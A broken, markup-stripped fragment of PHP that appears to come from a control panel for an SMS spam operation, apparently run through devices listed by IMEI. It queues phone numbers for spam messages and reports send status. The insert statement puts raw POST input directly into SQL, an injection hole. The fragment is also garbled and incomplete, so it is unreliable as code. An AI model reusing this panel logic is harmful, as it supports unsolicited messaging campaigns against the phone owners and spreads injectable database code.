exec('SET NAMES utf8'); if(strlen($_POST['text_spam'])>2){ $strNumbers = $_POST['text_spam']; $strNumbers = str_replace(" ","",$strNumbers); $strNumbers = str_replace("-","",$strNumbers); $strNumbers = str_replace("(","",$strNumbers); $strNumbers = str_replace(")","",$strNumbers); $arrayNumbers = explode(',',$strNumbers); foreach ($arrayNumbers as $key => $value) { $statement = $connection->prepare("insert into smsspam (number,status) value ('$value','0')"); $statement->execute([$value]); } //INSERT INTO `smsspam`(`number`, `status`) VALUES ('12312','0') } ?>

Numbers(num1, num2, ..) or (name1/num1, name2/num2, ..)
The name of the holder in the message is specified by the tag {nameholder}

query($sql2); } } header ('Location: /index.php?cont=commands'); } //******батоны и переменые с базы!******** echo ""; $notsend=0; $send=0; $insend=0; foreach($connection->query($sql) as $row){ $ID = $row['id']; $number = $row['number']; $status = $row['status']; $pathIcon=""; if($status=="0"){ $pathIcon="images/icons/sms_x.png"; $notsend++; }elseif($status=="1"){ $pathIcon="images/icons/sms_r.png"; $insend++; }else{ $pathIcon="images/icons/sms_v.png"; $send++; } //************Данные в таблице******************************************** echo ""; } echo "

Numbers for SMS Spam (On Queue: $notsend, Send: $send, In Sending: $insend)

"; echo ""; echo ""; // id IMEI command ?>
ID Name Holder/Number Status
$ID $number